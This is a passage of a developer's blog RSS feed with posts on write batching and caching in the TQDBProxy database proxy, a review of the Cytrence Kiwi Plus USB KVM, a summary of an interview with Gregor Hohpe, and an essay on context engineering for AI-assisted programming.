<li>Batch hints are ignored inside transactions (BEGIN/COMMIT).</li>
<li>Queries are grouped by their query text (make use of parameters).</li>
<li>The first request to a new group starts a timer for <code>N</code> milliseconds.</li>
<li>Next requests join the group while the timer runs.</li>
<li>The group executes on timer expiration or on maximum batch size.</li>
<li>Each request receives its own result or error message.</li>
</ul>
<h3 id="why-this-helps">Why this helps</h3>
<p>Many workloads generate many similar writes. Logging, metrics ingestion and
lightweight cache updates are examples. Each operation on its own causes an
fsync and a protocol round trip. Combining many operations into one transaction
reduces the number of fsyncs and reduces the CPU used for networking. The result
is dramatically higher throughput.</p>
<p>In practice this means that the proxy has extra work to do, but as the proxy
lives on the application servers and it still offloads the primary database. The
system as a whole has become more scalable if you can offload the primary. This is
true even though the whole system has become less efficient and the total CPU and
memory needed to execute these write operations has increased.</p>
<h3 id="performance">Performance</h3>
<p><a href="/uploads/2026/proxybatch_performance.png">
  
    <img src="/uploads/2026/proxybatch_performance_hu_fd2ab56879d28329.webp" alt="tqdbproxy batch performance"  />
  
</a></p>
<p>I&rsquo;ve created several benchmarks proof the perfmance improvements. Under sustained
high write load the batch hints delivered a ten times less writes/fsyncs when
using a <code>batch:10</code> window. The test delayed statements by at most 10 milliseconds.
The database handled the same number of rows per second with far fewer transactions.
The latency increase stayed predictable and bounded by the hint value.</p>
<h3 id="implementation-notes">Implementation notes</h3>
<p>The write batch manager keeps a map of batch groups keyed by the normalized
query. Each group holds queued requests and a timer. The manager enqueues
requests and starts the timer on the first arrival. When the timer fires the
manager builds a batched statement and executes it. The manager then splits the
result and returns per request responses.</p>
<p>The manager enforces safety rules. It refuses to batch statements that are inside
a transaction (to prevent nested transactions). It also respects a maximum batch
size. The default maximum batch size is 1000 operations. The manager exposes metrics
for batch sizes and delays so you can tune windows in production.</p>
<h3 id="usage-patterns-and-recommendations">Usage patterns and recommendations</h3>
<ul>
<li>Use <code>batch:1</code> for low latency but still some batching. This is suitable for
user facing updates where small delays are acceptable.</li>
<li>Use <code>batch:10</code> for logging and event ingestion. This gives large throughput
gains while keeping latency small.</li>
<li>Use <code>batch:100</code> for background cleanup tasks or offline analytics ingestion
where latency does not matter at all.</li>
</ul>
<h3 id="conclusion">Conclusion</h3>
<p>Batch hints let you trade a bounded amount of latency for a large gain in
throughput. For many high write workloads a 10x improvement is realistic when
using a 10 millisecond window. Batching reduces transaction count and I/O
pressure. The feature is safe to use and easy to enable by adding a single
comment to client queries.</p>
<p>See:
<a href="https://github.com/mevdschee/tqdbproxy">https://github.com/mevdschee/tqdbproxy</a></p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.cybertec-postgresql.com/en/commit_delay-performance-postgresql-benchmark/">Cybertec PostgreSQL: commit_delay for better performance</a></li>
<li><a href="https://soylu.org/commit_delay-and-wal_writer_delay-parameters-effect-in-postgresql-performance/">Postgresql Performance Effect of commit_delay and wal_writer_delay</a></li>
<li><a href="https://runebook.dev/en/docs/mariadb/group-commit-for-the-binary-log/index">Runebook.dev - MariaDB&rsquo;s Group Commit for Enhanced Performance</a></li>
<li><a href="https://www.tqdev.com/2026-tqdbproxy-mariadb-postgresql-proxy/">TQDBProxy: A Go cache for MariaDB and PostgreSQL</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Cytrence KIWI&#43;: KVM over HDMI&#43;USB</title>
      <link>https://www.tqdev.com/2026-cytrence-usb-kvm-kiwi-plus/</link>
      <pubDate>Mon, 16 Feb 2026 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2026-cytrence-usb-kvm-kiwi-plus/</guid>
      <description>&lt;p&gt;I recently evaluated the Cytrence Kiwi Plus, a USB KVM solution that enables
remote access to machines via HDMI and USB. The product was provided for free
for evaluation. It retails for around 100 dollars. In the past 6 weeks, I&amp;rsquo;ve
tested it daily (every evening) with two real-world scenarios: Linux controlling
Mac and Linux controlling Windows. In this blog I will share my extensive
experience with the product.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It feels just like working on another virtual machine, but this machine is
real and on your desk.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I recently evaluated the Cytrence Kiwi Plus, a USB KVM solution that enables
remote access to machines via HDMI and USB. The product was provided for free
for evaluation. It retails for around 100 dollars. In the past 6 weeks, I&rsquo;ve
tested it daily (every evening) with two real-world scenarios: Linux controlling
Mac and Linux controlling Windows. In this blog I will share my extensive
experience with the product.</p>
<blockquote>
<p>It feels just like working on another virtual machine, but this machine is
real and on your desk.</p></blockquote>
<p><a href="https://www.cytrence.com/kiwiplus">
  
    <img src="/uploads/2026/cytrence-kiwi-usb-plus_hu_ef966bc302e08749.webp" alt="Cytrence USB KVM Kiwi Plus"  />
  
</a></p>
<h3 id="real-world-testing-linux-to-mac-and-windows">Real-world testing: Linux to Mac and Windows</h3>
<p>This is where the Cytrence Kiwi Plus truly shines for me. I work primarily on
Linux and need occasional access to a Mac or Windows machine. With the Cytrence
Kiwi Plus I can work on multiple physical computers at the same time, without
having to &ldquo;switch&rdquo;. It feels just like working on another virtual machine, but
this machine is real and on your desk.</p>
<p>The Cytrence Kiwi Plus is especially valuable for consultants (like me) who
spend most of their time working on a secure client&rsquo;s laptop, using external
keyboard, monitor and mouse. In the evenings I still want to be able to alt-tab
to the client, but do some (open source) work on my Linux machine instead. The
Kiwi Plus allows you to seamlessly toggle control between the client&rsquo;s laptop
and your Linux machine.</p>
<p>The Cytrence Kiwi Plus works exceptionally well in practice. I&rsquo;ve used it to
control a MacBook from my Linux workstation and a Windows laptop from the same
Linux machine. The experience has been reliable and responsive. The software
reliably detects the connected machine. The experience is seamless, with one
caveat that is discussed below.</p>
<h3 id="video-quality-the-one-compromise">Video quality: the one compromise</h3>
<p>The only real downside I encountered is the video quality. The sharpness filter
appears to be configured too aggressively. This creates white artifacts around
black letters on gray backgrounds. The issue occurs consistently on both Mac and
Windows. You can still read everything clearly, but it is noticeable. Here is a
comparison of Cytrence (top) and the actual device (bottom) at 8x amplification:</p>
<p>
  
    <img src="/uploads/2026/cytrence-sharpness_hu_9df62f569468c2e0.webp" alt="Cytrence Sharpness"  />
  
</p>
<p>This seems to be a firmware tuning issue rather than a hardware limitation.
Although brightness and saturation were adjustable with standard webcam controls
(cameractrlsgtk.py), the sharpness was not. I like how the video source presents
itself as a webcam, as this makes it easy to use in OBS.</p>
<p>NB: I contacted Cytrence and they might make the sharpness filter optional in a
future software update.</p>
<h3 id="software-reliability-and-the-toolbar">Software reliability and the toolbar</h3>
<p>The software quality is impressive. The toolbar is clean and intuitive, with a
prominent connect button that works reliably every single time. I haven&rsquo;t
experienced any crashes, disconnections, or unreliable behavior from the
application. The responsiveness is excellent, with minimal latency when
interacting with the remote machine. When you work on an external machine you
can really send any keypress (such as Apple/Windows key) by using the keyboard
capture mode (release with Ctrl+Alt).</p>
<p>The maximum resolution is Full HD (1920x1080). However, this limitation barely
matters if the remote machine isn&rsquo;t your primary PC. If you&rsquo;re working with an
ultra-wide monitor on your main Linux machine, a Full HD window for the remote
system fits comfortably alongside other work. The resolution is perfectly
adequate for most tasks.</p>
<h3 id="build-quality-and-connectivity">Build quality and connectivity</h3>
<p>The casing is remarkably robust. The solid plastic and metal construction feels
like it will last years of regular use. The product arrives with good quality
USB cables. The only minor quibble is that the cables are somewhat short. You
might want to plan your desk layout accordingly or use extension cables if
needed.</p>
<p>The Cytrence Kiwi Plus works reliably on my Linux machine. However, I discovered
one caveat: it doesn&rsquo;t always work when connected through a USB 3 hub. This is
worth noting if you have a highly connected desk setup. I was connecting through
a busy 10 port USB 3 hub with some USB 2 devices connected. Try to connect
directly if you run into trouble.</p>
<h3 id="compared-to-the-competition">Compared to the competition</h3>
<p>If you are comparing this to the Sipeed NanoKVM-USB (the device I reviewed
earlier), I would choose the Cytrence over the Sipeed any day. The software
quality is simply in a different league, it feels way more mature. The Sipeed is
cheaper and works well for basic KVM tasks, but the Cytrence&rsquo;s reliable toolbar,
responsive interface, and feature completeness make it well worth its slightly
higher price.</p>
<h3 id="conclusion">Conclusion</h3>
<p>At its price point, the Cytrence Kiwi Plus is a premium and justified investment
for anyone who regularly works across multiple machines. The video quality
artifact is the only meaningful limitation, although minor (and may be
improved). The software is reliable and responsive. The build quality is
excellent. The overall design elegantly solves the multi-machine workflow
problem. Whether you&rsquo;re a consultant juggling client systems, a developer
testing across platforms, or simply someone who prefers one Linux workstation
with occasional access to Mac or Windows machines, this is a worthy tool.</p>
<p>See: <a href="https://www.cytrence.com/kiwiplus">https://www.cytrence.com/kiwiplus</a></p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.cytrence.com/">Cytrence - Kiwi: makes your laptop a KVM over USB &amp; much more</a></li>
<li><a href="https://openterface.com/">Openterface - Mini-KVM: Turning Laptop into a KVM Console</a></li>
<li><a href="https://wiki.sipeed.com/hardware/en/kvm/NanoKVM_USB/introduction.html">Sipeed - NanoKVM-USB: Introduction</a></li>
<li><a href="https://www.cytrence.com/kiwiplus">Cytrence - Meet the New Kiwi+</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Beyond Coding: Patrick Akil interviews Gregor Hohpe</title>
      <link>https://www.tqdev.com/2026-beyond-coding-interviews-gregor-hohpe/</link>
      <pubDate>Wed, 04 Feb 2026 08:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2026-beyond-coding-interviews-gregor-hohpe/</guid>
      <description>&lt;p&gt;Recently Patrick Akil (of Beyond Coding) interviewed legendary architect Gregor
Hohpe, author of &amp;ldquo;Enterprise Integration Patterns&amp;rdquo; and former architect at
Google Cloud and AWS. What follows is a masterclass in thoughtful questioning
and profound answers. I highly recommend you to watch it. This post lists the
top 3 take-aways.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=F8X9_Dp3ZUk&#34;&gt;
  
    &lt;img src=&#34;https://www.tqdev.com/uploads/2026/beyond-coding-gregor-hohpe_hu_eebf81cdbddcbda7.webp&#34; alt=&#34;beyond-coding-gregor-hohpe&#34;  /&gt;
  
&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;1-the-art-of-amplification&#34;&gt;1. The Art of Amplification&lt;/h3&gt;
&lt;p&gt;Patrick&amp;rsquo;s pointed questions draw out decades of wisdom. When asked what
separates great architects from mediocre ones, Gregor&amp;rsquo;s answer reframes the
entire role:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Recently Patrick Akil (of Beyond Coding) interviewed legendary architect Gregor
Hohpe, author of &ldquo;Enterprise Integration Patterns&rdquo; and former architect at
Google Cloud and AWS. What follows is a masterclass in thoughtful questioning
and profound answers. I highly recommend you to watch it. This post lists the
top 3 take-aways.</p>
<p><a href="https://www.youtube.com/watch?v=F8X9_Dp3ZUk">
  
    <img src="/uploads/2026/beyond-coding-gregor-hohpe_hu_eebf81cdbddcbda7.webp" alt="beyond-coding-gregor-hohpe"  />
  
</a></p>
<h3 id="1-the-art-of-amplification">1. The Art of Amplification</h3>
<p>Patrick&rsquo;s pointed questions draw out decades of wisdom. When asked what
separates great architects from mediocre ones, Gregor&rsquo;s answer reframes the
entire role:</p>
<blockquote>
<p>&ldquo;Architects shouldn&rsquo;t try to be the smartest people, but they should make
everybody else smarter. As an amplifier.&rdquo;</p></blockquote>
<p>I believe this is true. Bad architects hoard decision power, while great ones
elevate their teams.</p>
<h3 id="2-embracing-simplicity">2. Embracing Simplicity</h3>
<p>The conversation then shifts to complexity. Patrick brings up a GitHub
engineer&rsquo;s controversial take on keeping things simple, and Gregor adds crucial
nuance:</p>
<blockquote>
<p>&ldquo;We&rsquo;ve gotten so in love with complexity that if we actually cut through it,
we sometimes doubt ourselves. Don&rsquo;t stumble on the finish line.&rdquo;</p></blockquote>
<p>In other words: We often mistake complexity for sophistication, but true mastery
makes the complex seem obvious.</p>
<h3 id="3-mapping-the-map">3. Mapping the Map</h3>
<p>Perhaps most practical is Gregor&rsquo;s approach to resolving disagreements. He calls
it &ldquo;mapping the map&rdquo;: establish a common framing before debating solutions. His
monolith vs. microservices example shows how expanding from two options to four
quadrants transforms difficult debates into constructive discussions.</p>
<blockquote>
<p>&ldquo;The good architects are usually the ones where magically everything goes well
and nobody knows exactly why.&rdquo;</p></blockquote>
<p>A great insight, because when everyone shares the same map, alignment happens
naturally.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Patrick and Gregor have created something truly special. If you&rsquo;re on the
architecture path (or aspire to be) this is essential viewing. It&rsquo;s genuinely
insightful, refreshingly honest, and admirably concise. Do yourself a favor and
watch it (and subscribe).</p>
<p>See: <a href="https://www.youtube.com/watch?v=F8X9_Dp3ZUk">https://www.youtube.com/watch?v=F8X9_Dp3ZUk</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>AI Assisted Programming = Context Engineering</title>
      <link>https://www.tqdev.com/2026-ai-assisted-programming/</link>
      <pubDate>Mon, 26 Jan 2026 11:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2026-ai-assisted-programming/</guid>
      <description>&lt;p&gt;In software engineering, thinking is the expensive part. It always has been.
Writing code? That’s the cheap bit. Typing fast is great, but don&amp;rsquo;t let that
speed fool you. Here’s something to remember: code is read many times but
written only once (ref: Robert C. Martin). The real cost comes later, when you
have to fix bad design. That’s when you pay, and you pay a lot. The real work is
in the judgment calls, the choices, and the structure you set up at the start.
That’s what makes an engineer valuable.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In software engineering, thinking is the expensive part. It always has been.
Writing code? That’s the cheap bit. Typing fast is great, but don&rsquo;t let that
speed fool you. Here’s something to remember: code is read many times but
written only once (ref: Robert C. Martin). The real cost comes later, when you
have to fix bad design. That’s when you pay, and you pay a lot. The real work is
in the judgment calls, the choices, and the structure you set up at the start.
That’s what makes an engineer valuable.</p>
<p>Now, let’s talk about AI. LLMs are like a megaphone for your habits. If you know
what you want, you can try out ideas at lightning speed. But if you don’t, you
end up with a &ldquo;Big Ball of Mud a.k.a. Spaghetti Code&rdquo;. It’s so easy to make a
mess when the machine never gets tired. You can’t rely on the model to deliver
high quality software. You have to give it context. You have to explain what
matters, what the rules are, what the tests should check, and why you made the
choices you did. That’s context engineering, and it’s a real job. It’s not just
a prompt you paste in and forget. It’s the glue that keeps your intent alive,
even when the code changes a hundred times.</p>
<p>So what do you do? You do what good engineers have always done. You plan. You
write things down. You test as you go. You check your work, and you help others
learn how to do the same. You take responsibility for what you build. If you
build it, you run it. That’s the deal. Don’t just count lines of code or how
fast someone types. Look at what lasts, what works, and what makes life easier
for the next person who reads your code. If you get this right, AI will make you
faster and better. If you get it wrong, AI will just help you make a bigger
mess, faster.</p>
<p>If this resonates with you and you want to go deeper, check out the idea of
context engineering. It’s all about managing what information you give to your
AI tools, and when. The quality of your results depends on what you feed the
model. Good context means better output, less slop, and fewer headaches for
everyone. There’s an effective way and a useless way to use AI&rsquo;s limited context
window, and knowing the difference makes all the difference. For a practical
take on this, read my article &ldquo;Context Engineering: Mastering AI Tools&rdquo;.</p>
<p>see: <a href="https://www.tqdev.com/2025-context-engineering-mastering-ai-tools">https://www.tqdev.com/2025-context-engineering-mastering-ai-tools</a></p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.tqdev.com/2025-context-engineering-mastering-ai-tools">TQdev.com - Context Engineering: Mastering AI Tools</a></li>
<li><a href="https://www.goodreads.com/quotes/835238-indeed-the-ratio-of-time-spent-reading-versus-writing-is">Goodreads.com - Robert C. Martin - Quotes</a></li>
<li><a href="https://www.laputan.org/mud/mud.html#BigBallOfMud">University of Illinois - Big Ball of Mud a.k.a. Spaghetti Code</a></li>
<li><a href="https://www.thoughtworks.com/insights/decoder/y/you-build-it-you-run-it">Thoughtworks.com - &ldquo;You build it, you run it&rdquo;</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>TQDBProxy: A Go cache for MariaDB and PostgreSQL</title>
      <link>https://www.tqdev.com/2026-tqdbproxy-mariadb-postgresql-proxy/</link>
      <pubDate>Fri, 23 Jan 2026 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2026-tqdbproxy-mariadb-postgresql-proxy/</guid>
      <description>&lt;p&gt;There are excellent database proxies out there. pgpool-II, MaxScale, and
ProxySQL are battle-tested, feature-rich, and used in production by thousands of
companies. I&amp;rsquo;ve built TQDBProxy as a learning project to explore a different
approach: what if caching decisions lived in the application code itself?&lt;/p&gt;
&lt;p&gt;Custom client libraries for PHP, TypeScript, and Go allow you to (optionally)
specify a cache time-to-live (TTL) as an extra argument to a query method.
Queries with a TTL are cached for the specified duration. After expiry, the
first request refreshes the cache (blocking), while others briefly get stale
data until the refresh completes.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>There are excellent database proxies out there. pgpool-II, MaxScale, and
ProxySQL are battle-tested, feature-rich, and used in production by thousands of
companies. I&rsquo;ve built TQDBProxy as a learning project to explore a different
approach: what if caching decisions lived in the application code itself?</p>
<p>Custom client libraries for PHP, TypeScript, and Go allow you to (optionally)
specify a cache time-to-live (TTL) as an extra argument to a query method.
Queries with a TTL are cached for the specified duration. After expiry, the
first request refreshes the cache (blocking), while others briefly get stale
data until the refresh completes.</p>
<p>See: <a href="https://github.com/mevdschee/tqdbproxy">https://github.com/mevdschee/tqdbproxy</a></p>
<h3 id="what-is-tqdbproxy">What is TQDBProxy?</h3>
<p>TQDBProxy is a caching database proxy implemented in Go, and can be used as both
as an embedded library and as a standalone server. It speaks the MariaDB (MySQL)
as well as the PostgreSQL protocol, including authentication, meaning that in
server mode it works out-of-the-box with existing clients.</p>
<p>TQDBProxy allows you to cache SELECT queries with a configurable TTL and route
them to read replicas. It supports database sharding by database name to named
backends (defaulting to &ldquo;main&rdquo;). It ensures that only a single query is sent to
healthy replicas during warmup and refresh. Queries are automatically tracked by
source file and line number for observability and Prometheus-style query metrics
are exposed labeled by this source location. It also supports hot-reloading of
the configuration.</p>
<p>I&rsquo;ve learned that these features may be useful in high performance environments.</p>
<h3 id="demo">Demo</h3>
<p>Interactive clients work without restrictions (easy for debugging) as you will
see in the demo below:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mariadb -u tqdbproxy -p -P <span class="m">3307</span> tqdbproxy --comments
</span></span></code></pre></div><p>Note that the &ldquo;&ndash;comments&rdquo; argument is essential (to allow sending comments).</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="n">Welcome</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">MariaDB</span><span class="w"> </span><span class="n">monitor</span><span class="p">.</span><span class="w">  </span><span class="n">Commands</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="err">\</span><span class="k">g</span><span class="p">.</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">Your</span><span class="w"> </span><span class="n">MariaDB</span><span class="w"> </span><span class="k">connection</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="mi">19905</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">Server</span><span class="w"> </span><span class="k">version</span><span class="p">:</span><span class="w"> </span><span class="mi">10</span><span class="p">.</span><span class="mi">11</span><span class="p">.</span><span class="mi">14</span><span class="o">-</span><span class="n">MariaDB</span><span class="o">-</span><span class="mi">0</span><span class="n">ubuntu0</span><span class="p">.</span><span class="mi">24</span><span class="p">.</span><span class="mi">04</span><span class="p">.</span><span class="mi">1</span><span class="w"> </span><span class="n">Ubuntu</span><span class="w"> </span><span class="mi">24</span><span class="p">.</span><span class="mi">04</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">Copyright</span><span class="w"> </span><span class="p">(</span><span class="k">c</span><span class="p">)</span><span class="w"> </span><span class="mi">2000</span><span class="p">,</span><span class="w"> </span><span class="mi">2018</span><span class="p">,</span><span class="w"> </span><span class="n">Oracle</span><span class="p">,</span><span class="w"> </span><span class="n">MariaDB</span><span class="w"> </span><span class="n">Corporation</span><span class="w"> </span><span class="n">Ab</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="n">others</span><span class="p">.</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">Type</span><span class="w"> </span><span class="s1">&#39;help;&#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="s1">&#39;\h&#39;</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">help</span><span class="p">.</span><span class="w"> </span><span class="k">Type</span><span class="w"> </span><span class="s1">&#39;\c&#39;</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">clear</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">current</span><span class="w"> </span><span class="k">input</span><span class="w"> </span><span class="k">statement</span><span class="p">.</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">MariaDB</span><span class="w"> </span><span class="p">[</span><span class="n">tqdbproxy</span><span class="p">]</span><span class="o">&gt;</span><span class="w"> </span><span class="cm">/* ttl:60 */</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="n">SLEEP</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">+</span><span class="c1">----------+
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="o">|</span><span class="w"> </span><span class="n">SLEEP</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">+</span><span class="c1">----------+
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="o">|</span><span class="w">        </span><span class="mi">0</span><span class="w"> </span><span class="o">|</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">+</span><span class="c1">----------+
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="mi">1</span><span class="w"> </span><span class="k">row</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="k">set</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">001</span><span class="w"> </span><span class="n">sec</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">MariaDB</span><span class="w"> </span><span class="p">[</span><span class="n">tqdbproxy</span><span class="p">]</span><span class="o">&gt;</span><span class="w"> </span><span class="k">SHOW</span><span class="w"> </span><span class="n">TQDB</span><span class="w"> </span><span class="n">STATUS</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">+</span><span class="c1">---------------+---------+
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="o">|</span><span class="w"> </span><span class="n">Variable_name</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Value</span><span class="w">   </span><span class="o">|</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">+</span><span class="c1">---------------+---------+
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="o">|</span><span class="w"> </span><span class="n">Shard</span><span class="w">         </span><span class="o">|</span><span class="w"> </span><span class="n">main</span><span class="w">    </span><span class="o">|</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">|</span><span class="w"> </span><span class="n">Backend</span><span class="w">       </span><span class="o">|</span><span class="w"> </span><span class="k">primary</span><span class="w"> </span><span class="o">|</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">+</span><span class="c1">---------------+---------+
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="mi">2</span><span class="w"> </span><span class="k">rows</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="k">set</span><span class="w"> </span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">000</span><span class="w"> </span><span class="n">sec</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">MariaDB</span><span class="w"> </span><span class="p">[</span><span class="n">tqdbproxy</span><span class="p">]</span><span class="o">&gt;</span><span class="w"> </span><span class="cm">/* ttl:60 */</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="n">SLEEP</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">+</span><span class="c1">----------+
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="o">|</span><span class="w"> </span><span class="n">SLEEP</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">+</span><span class="c1">----------+
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="o">|</span><span class="w">        </span><span class="mi">0</span><span class="w"> </span><span class="o">|</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">+</span><span class="c1">----------+
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="mi">1</span><span class="w"> </span><span class="k">row</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="k">set</span><span class="w"> </span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">000</span><span class="w"> </span><span class="n">sec</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">MariaDB</span><span class="w"> </span><span class="p">[</span><span class="n">tqdbproxy</span><span class="p">]</span><span class="o">&gt;</span><span class="w"> </span><span class="k">SHOW</span><span class="w"> </span><span class="n">TQDB</span><span class="w"> </span><span class="n">STATUS</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">+</span><span class="c1">---------------+-------+
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="o">|</span><span class="w"> </span><span class="n">Variable_name</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Value</span><span class="w"> </span><span class="o">|</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">+</span><span class="c1">---------------+-------+
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="o">|</span><span class="w"> </span><span class="n">Shard</span><span class="w">         </span><span class="o">|</span><span class="w"> </span><span class="n">main</span><span class="w">  </span><span class="o">|</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">|</span><span class="w"> </span><span class="n">Backend</span><span class="w">       </span><span class="o">|</span><span class="w"> </span><span class="k">cache</span><span class="w"> </span><span class="o">|</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">+</span><span class="c1">---------------+-------+
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="mi">2</span><span class="w"> </span><span class="k">rows</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="k">set</span><span class="w"> </span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">000</span><span class="w"> </span><span class="n">sec</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">MariaDB</span><span class="w"> </span><span class="p">[</span><span class="n">tqdbproxy</span><span class="p">]</span><span class="o">&gt;</span><span class="w">
</span></span></span></code></pre></div><h3 id="performance">Performance</h3>
<p>The proxy adds significant overhead for trivial queries. It is more than 50%
slower for sub-millisecond operations. MariaDB drops from 398K to 174K RPS, and
PostgreSQL from 267K to 121K RPS when running through the proxy instead of
direct connections.</p>
<p><a href="/uploads/2026/proxy_benchmark.png">
  
    <img src="/uploads/2026/proxy_benchmark_hu_d9210b79780090.webp" alt="Benchmark Chart"  />
  
</a></p>
<p>However, this overhead becomes negligible for real-world queries. At 1ms query
latency, the difference shrinks to just 11% (91K vs 81K RPS for MariaDB). For
most applications where database queries take several milliseconds, the proxy
overhead is barely measurable.</p>
<p>The tradeoff pays off in three ways: each application server can run its own
proxy with local cache, reducing network hops to the database. SELECT queries
with TTL hints are routed to read replicas, offloading the primary. And cache
hits bypass the database entirely, achieving high RPS regardless of original
query complexity.</p>
<p>In real world scenarios, you can handle 10x-100x more load by adding cache
hints. The metrics help you to find the expensive queries that need cache hints.
If that is not enough, you can add some light-weight read replicas to offload
the primary even more.</p>
<h3 id="how-it-works">How it Works</h3>
<p>The approach relies on custom client libraries for PHP, TypeScript, and Go.
These clients add a <code>ttl</code> parameter to the already familiar query methods on
these platforms. Next to this TTL, the caller&rsquo;s source file and line number are
automatically added to SQL comments. The proxy extracts this metadata and
exposes Prometheus-style query cost metrics labeled by source location.</p>
<p>TQDBProxy speaks native MariaDB and PostgreSQL wire protocols. Clients connect
to the proxy exactly as they would to the database server. Even the
authentication is forwarded properly by the proxy. The proxy parses incoming
queries, classifies them as cacheable or not, and extracts TTL hints from SQL
comments.</p>
<p>SELECT queries with a TTL hint are cacheable. For these queries, the proxy first
checks its cache. On a hit, it returns the cached response immediately. On a
miss, it routes the query to an available replica (or primary if no replicas are
configured). The proxy then caches the response before returning it to the
client. Backends are organized into named shards, with the default shard being
&ldquo;main&rdquo;. The proxy uses the database name to determine which shard to use.</p>
<p>When a cache entry does not exist (cold cache), the proxy ensures only a single
query is sent to the database. This prevents concurrent queries for the same key
